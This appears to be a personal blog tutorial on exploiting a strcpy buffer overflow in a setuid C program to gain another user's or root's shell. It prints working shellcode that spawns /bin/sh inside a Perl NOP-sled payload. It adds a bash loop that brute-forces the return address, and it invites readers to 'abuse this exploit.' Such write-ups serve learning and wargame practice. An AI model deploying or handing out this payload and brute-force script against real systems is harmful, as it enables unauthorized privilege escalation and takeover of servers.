Baptizing this new blog, I decided to start writing about one of the most common and known security exploits on *nix systems: how to abuse strcpy(3) to gain control of another user (or possibly root).
As many already know, strcpy(3) is a very unsafe function call in the C library (you should always use strncpy(3) unless you can be exactly certain about the number of bytes you’re going to copy beforehand). Why is strcpy(3) unsafe? Because, looking at its prototype char *strcpy(char *dest, const char *src) we can see that there is no actual check for bounds and if the source is bigger than the destination then the remaining bytes will overflow in the memory and will possibly override important areas of memory (which is exactly what we’re going to do).
For more details on how this exactly works, wikipedia has a pretty good article: http://en.wikipedia.org/wiki/Stack_buffer_overflow
For now we can start with a simple C program that prints back what we give as command line parameter (argv[1]):
So far so good, fairly simple. It actually is so simple that nobody would ever suspect this could be such a huge security flaw.
What we need to do now is pass as argv[1] such a big buffer that the strcpy(3) won’t be able to copy as a whole (or better, that buf[1024] won’t be able to hold), hence make it segfault. Why do we want to do so? I will explain later. As of now we need a string that is bigger than 1024 bytes. Here’s what we do:
This is the actual script we passed:
`perl -e 'print "\x90"x990 . "\x31\xC0\xB0\x46\x31\xDB\x31\xC9\xCD\x80\xEB\x16\x5B\x31\xC0\x88\x43\x07\x89\x5B\x08\x89\x43\x0C\xB0\x0B\x8D\x4B\x08\x8D\x53\x0C\xCD\x80\xE8\xE5\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68" . "\x00\x00\x00\x00"'`
It is a small perl script that contains the injected code we want to be run by our exploit and the last 4 digits ( "\x00\x00\x00\x00"
) are supposed to be the address of the stack pointer where our code will reside. The problem here is that we don’t exactly know where the stack pointer’s address will be, so how do we know where we want to jump from our strcpy(3) return address? To find out, we need to use the dmesg utility, which will be able to tell us the exact registers state at the moment of the last segfault (you see where I’m going? That’s why we needed to make it segfault on purpose ourselves).
We run the command dmesg | tail -1
and this will be our output:
The highlighted part is the address we need: bfff8830
(in my case, it will be different every time you run the program!!), now we just need to convert it to a suitable format for our script (rememer: we need to invert the address to match the little endianess of our CPU) which in this case will be \x30\x88\xff\xbf
and substitute it to the old dummy address (00000000).
Now we have a nice little script with the correct address we want to jump to that will let us exploit the system’s vulnerability… not. The problem here is that, as I said earlier, the actual address of the stack pointer changes every time you run the program itself, so we can’t be certain where our jump will lead us to. We need to have a certain “safety zone” where we know “approximately” where our code will be.
If you analyze the actual assembly script we pass to the program, you will see this part: "\x90"x990
this (in perl syntax) will print \x90
for 990 times consecutively. What is 0x90? It is the processor’s opcode for a NOP, which is an empty instruction that will be skipped by the CPU. This technique is called NOP-slide and is a very common technique used to inject code into a certain safe portion of memory to give us a bigger range where we can land with our memory jump. This means, if our return address falls within these bounds then we can be sure the CPU will “slide” towards our injected code.
This gives us a pretty wide range, we have 990 bytes of “safety net” that we can hit, it’s a bigger chance than before. Too bad this still won’t do it. Unless you are very lucky, if you run this code chances are you will still receive a segfault. There are many techniques to solve this issue and a quick search on google can give you may interesting results, however I found this one to be really interesting and easy to apply myself, thanks to a friend of mine who pointed it out (J.C. Moyer). This is a very simple exploit, we will be running a bash script that will iterate infinitely to re-run this code bruteforcing its way into the right stack pointer address (eventually). Here is the script:
while :
do
./strcpy_exploit `perl -e 'print "\x90"x990 . "\x31\xC0\xB0\x46\x31\xDB\x31\xC9\xCD\x80\xEB\x16\x5B\x31\xC0\x88\x43\x07\x89\x5B\x08\x89\x43\x0C\xB0\x0B\x8D\x4B\x08\x8D\x53\x0C\xCD\x80\xE8\xE5\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68" . "\x30\x88\xff\xbf"'`
done
Notice how I’ve already inserted the right stack pointer address for our code, you will have to change it reflecting your own system.
So far, so good. This is the situation we have in our folder at the moment:
We have the bash script and the original program with the strcpy(3). Notice that for this exploit to work you will need the running program able to setuid (chmod +s) else it will not work.
And here we go, we chmod +x our script and check our uid (just to prove if this works or not):
…and we launch the script:
After a while (depends on how lucky you are and how fast your computer is, usually it takes me between 5 and 30 seconds… just wait it out) you will be prompted to a shell. If this happens then it means the exploit worked, try to run a simple whoami to check:
We did it! We totally logged into another user’s account without using its password.
Feel free to abuse this exploit which is very common in hacking wargames like http://smashthestack.org/ and https://stripe.com/blog/capture-the-flag, it certainly is fun.
To all the sysadmins out there, please be sure not to leave such easy-to-exploit system flaws, it really takes a few seconds to hack into such programs and take control of a whole server.
If you are more interested in knowing where the actual asm code to launch the shell comes from, you can find everything here, it is a really interesting read.
Happy Hacking!
Morg.
EDIT: I have been asked to explain why exactly we needed 990 NOP in our injected code, so yeah, time to explain.
As I said earlier, we had to overflow the size of the char buffer, which was maximum 1024 in length (1 char = 1 byte). This means we had to insert more than 1024 characters in the argv[1] in order to modify the memory and substitute the return address of the strcpy(3) function. After a bit of calculation we can find out that the return address for our function is around 12 bytes in, this means 1024+12+4 = 1040 bytes of code have to be injected in argv[1]. To leave a wider range of error for the NOP slide we have to pad the injected code at the right-most part of our string while leaving 4 bytes for the return address. This means we have NOP-Slide + Injected Code + return address. This gives us 46 bytes (size of the injected code) + 4 bytes (return address), everything else will just be NOP. If you do the math: 1040 – 46 – 4 = 990 bytes left for our NOP slide.